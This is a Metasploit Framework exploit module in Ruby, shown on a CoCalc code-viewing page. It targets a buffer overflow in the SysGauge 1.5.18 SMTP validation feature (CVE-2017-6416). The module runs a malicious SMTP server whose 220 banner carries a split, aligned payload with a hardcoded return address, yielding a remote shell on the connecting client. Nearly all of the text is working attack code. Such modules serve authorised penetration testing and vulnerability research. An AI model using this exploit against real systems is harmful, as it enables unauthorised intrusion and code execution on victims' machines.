Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smtp/sysgauge_client_bof.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
include Msf::Exploit::Remote::TcpServer
8
9
Rank = NormalRanking
10
11
def initialize()
12
super(
13
'Name' => 'SysGauge SMTP Validation Buffer Overflow',
14
'Description' => %q{
15
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
16
via its SMTP server validation. The module sends a malicious response along in the
17
220 service ready response and exploits the client, resulting in an unprivileged shell.
18
},
19
'Author' => [
20
'Chris Higgins', # msf Module -- @ch1gg1ns
21
'Peter Baris' # Initial discovery and PoC
22
],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2017-6416' ],
26
[ 'EDB', '41479' ],
27
],
28
'DefaultOptions' => {
29
'EXITFUNC' => 'thread'
30
},
31
'Payload' => {
32
'Space' => 306,
33
'BadChars' => "\x00\x0a\x0d\x20"
34
},
35
'Platform' => 'win',
36
'Targets' => [
37
[
38
'Windows Universal',
39
{
40
'Offset' => 176,
41
'Ret' => 0x6527635E # call esp # QtGui4.dll
42
}
43
]
44
],
45
'Privileged' => false,
46
'DisclosureDate' => 'Feb 28 2017',
47
'DefaultTarget' => 0
48
)
49
register_options(
50
[
51
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
52
]
53
)
54
end
55
56
def on_client_connect(c)
57
# Note here that the payload must be split into two parts.
58
# The payload gets jumbled in the stack so we need to split
59
# and align to get it to execute correctly.
60
sploit = "220 "
61
sploit << rand_text(target['Offset'])
62
# Can only use the last part starting from 232 bytes in
63
sploit << payload.encoded[232..-1]
64
sploit << rand_text(2)
65
sploit << [target.ret].pack('V')
66
sploit << rand_text(12)
67
sploit << make_nops(8)
68
# And the first part up to 232 bytes
69
sploit << payload.encoded[0..231]
70
sploit << "ESMTP Sendmail \r\n"
71
72
print_status("Client connected: " + c.peerhost)
73
print_status("Sending payload...")
74
75
c.put(sploit)
76
end
77
end
78
79